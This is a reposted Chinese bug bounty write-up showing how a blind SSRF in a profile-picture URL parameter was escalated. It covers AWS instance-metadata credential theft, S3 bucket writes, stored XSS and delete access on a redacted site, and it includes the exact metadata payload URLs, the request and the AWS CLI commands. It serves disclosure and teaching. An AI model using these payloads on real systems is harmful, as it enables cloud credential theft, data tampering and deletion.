从低危Blind SSRF到严重漏洞

admin
admin
admin
138636
文章
114
评论
2025年1月9日15:17:18评论8 views字数 3868阅读12分53秒阅读模式

 

SSRF简介

服务器端请求伪造（SSRF）是一种Web安全漏洞，它允许攻击者使服务器端应用程序向非预期的位置发送请求。这可能导致攻击者迫使服务器连接到组织内部基础设施中仅限内部访问的服务。在其他情况下，他们可能强迫服务器连接到任意的外部系统。这可能泄露敏感数据，例如授权凭据。

从低危Blind SSRF到严重漏洞img

Blind SSRF简介

Blind SSRF 漏洞的出现是由于应用程序被诱导向提供的 URL 发出后端 HTTP 请求，但后端请求的响应不会在应用程序的前端响应中返回。

现在我们知道了 SSRF 和Blind SSRF 之间的区别，让我们来看看我的案例……

假设我们有一个漏洞域名 redacted.com

我注册并创建了一个新账户。在访问 https://redacted.com/profile 后，我发现有两种上传图片的选项：

1.从电脑上传文件
2.使用 Facebook 个人资料图片
我尝试了第一个选项（从电脑上传文件），并注意到我的图片有一个公开可访问的 URL。在上传图片后，系统提示消息：“您的账户详情已成功更新。”
从低危Blind SSRF到严重漏洞

img
我发现该图片存储在一个 Amazon S3 存储桶中，并具有不可预测的 URL，这使我可以在没有任何访问限制的情况下访问图片。
<img src="[redacted].s3.region.amazonaws.com/[random_hash].jpeg">
从低危Blind SSRF到严重漏洞

img
在我访问该 URL 之后
从低危Blind SSRF到严重漏洞

img
看起来后端处理了图片上传，并将其存储在一个具有公开访问 URL 的 Amazon S3 存储桶中。
在测试了该功能后， 我并未发现任何有趣的东西，除了这一点。于是，我转向了第二个选项（使用 Facebook 头像）。但首先，你需要将你的 Facebook 账户与平台账户连接。
在连接了我的 Facebook 账户后，我点击了第二个选项并拦截了请求。我看到一个新的参数叫 profile_picture_url。请求内容是...
POST /profile HTTP/2Host: account.redacted.comContent-Type: multipart/form-data; boundary=-------------------------- -154478894334976744053178475009-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="first_name"Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="last_name"Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="profile_picture_url"https://scontent.fcai19-12.fna.fbcdn.net/v/t39.30808-1/465664427_1119561922865378_4789856880901123456_n.jpg-----------------------------154478894334976744053178475009
响应内容如下：
{"your account details were successfully updated"}
查看源代码后，我发现图片的来源更改为 S3 存储桶中的另一个哈希文件：
<img src="[redacted].s3.region.amazonaws.com/[Different_Random_Hash].jpeg">
接着，我将该请求添加到 Repeater 中，尝试测试 profile_picture_url 参数。
首先，我添加了我的协作平台链接以检查是否存在 Blind SSRF 漏洞。
从低危Blind SSRF到严重漏洞

img
然后，我发现了一个惊喜……
从低危Blind SSRF到严重漏洞

img
我收到了来自服务器的 HTTP 和 DNS 交互，因此我立刻访问了 ipinfo.io 以收集有关该 IP 地址的信息，并注意到它来自一个 Amazon AWS 的主机名。
从低危Blind SSRF到严重漏洞

img
现在我们发现了一个Blind SSRF，我们可以将其视为信息型/低危漏洞，因为我无法执行内部端口扫描或在没有更多信息的情况下利用它。我只收到响应“您的账户详情已成功更新”，而没有任何额外数据。
然而，根据我在测试第一个选项时记录的笔记——“后端处理了图片上传，并将其存储在 <img> 标签中的 Amazon S3 存储桶内”——
我访问了 https://redacted.com/profile，查看了源代码，并发现了一些不同之处。它将其保存为一个 HTML 文件。
从低危Blind SSRF到严重漏洞

img
访问该 URL 后，我看到了奇迹……
我的协作平台主机的内容竟然出现在了那里！
从低危Blind SSRF到严重漏洞

img
这意味着我可以发起内部请求并获取公司 S3 桶中公开保存的数据，而且可以毫无问题地访问这些数据。
由于主机位于 AWS EC2 环境中，我可以注入我的有效载荷 “http://169.254.169.254/latest/meta-data/iam/security-credentials/”以检索 IAM 用户凭证。
从低危Blind SSRF到严重漏洞

img
在访问 <img> 标签中的 URL 后
从低危Blind SSRF到严重漏洞

img
在获得用户后，我们可以注入有效负载来窃取 IAM 用户凭证。
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
从低危Blind SSRF到严重漏洞

img
图像标签中的 URL 是一个 JSON 端点，点我点击后
从低危Blind SSRF到严重漏洞

img
现在我们能够窃取凭证了 从低危Blind SSRF到严重漏洞
我联系了我的朋友进行合作，帮助寻找更多包含敏感信息的端点，我们一起发现了很多这样的端点。
“http://169.254.169.254/latest/dynamic/instance-identity/document”
从低危Blind SSRF到严重漏洞

img
我们能够提取所有这些端点。
http://169.254.169.254/latest/meta-data/block-device-mapping/http://169.254.169.254/latest/meta-data/security-groupshttp://169.254.169.254/latest/dynamic/instance-identity/documenthttp://169.254.169.254/latest/meta-data/iam/infohttp://169.254.169.254/latest/meta-data/machttp://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyhttp://169.254.169.254/latest/dynamic/instance-identity/signaturehttp://169.254.169.254/latest/dynamic/instance-identity/pkcs7http://169.254.169.254/latest/dynamic/instance-identity/rsa2048
下一步是专注于访问S3桶，并尝试将其升级为RCE（远程代码执行）或识别任何其他漏洞。
使用凭据访问AWS
export AWS_ACCESS_KEY_ID= [Your_Access_Key]export AWS_SECRET_ACCESS_KEY= [SecretKey]export AWS_SESSION_TOKEN= [Token]export AWS_DEFAULT_REGION= [Region]
我们尝试了“get-caller-identity”命令，以返回用于调用该操作的IAM用户或角色的详细信息。
aws sts get-caller-identity
从低危Blind SSRF到严重漏洞

img
我们尝试了命令来获取该桶中上传的文件列表。
aws s3 ls s3://<bucket's_name>
我们得到了“权限拒绝”的响应。
我们尝试了几个命令，但不幸的是得到了相同的禁止结果（“权限拒绝”），似乎IAM用户的权限较低。我们还尝试了使用命令上传文件。
echo "POC By Drakenkun & Bedo" > POC.txtaws s3 CP POC.txt s3://<bucket's_name>
从低危Blind SSRF到严重漏洞

img
访问 URL “https://[redacted].s3.region.amazonaws.com/POC.txt” 后
从低危Blind SSRF到严重漏洞

img
我们尝试上传一个简单的 HTML 文件，其中包含通过 JavaScript 显示警告消息的代码。
从低危Blind SSRF到严重漏洞

img
现在我们成功实现了存储型 XSS。 从低危Blind SSRF到严重漏洞
此外，我们还发现我们拥有“删除”权限，允许我们从 S3 存储桶中删除任何内容。
该平台的商业模型使用户能够创建 POST 请求，公开出售或出租物品。平台上的每个图像，包括个人资料照片，都存储在该 S3 存储桶中，这使我们能够修改或删除它们。
最后，我们将报告提交给 YesWeHack 平台，平台接受了这个作为一个关键漏洞，并给予了我们丰厚的奖励 (€€€€)。

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。

原文始发于微信公众号（白帽子左一）：从低危Blind SSRF到严重漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日15:17:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   从低危Blind SSRF到严重漏洞https://cn-sec.com/archives/3610500.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息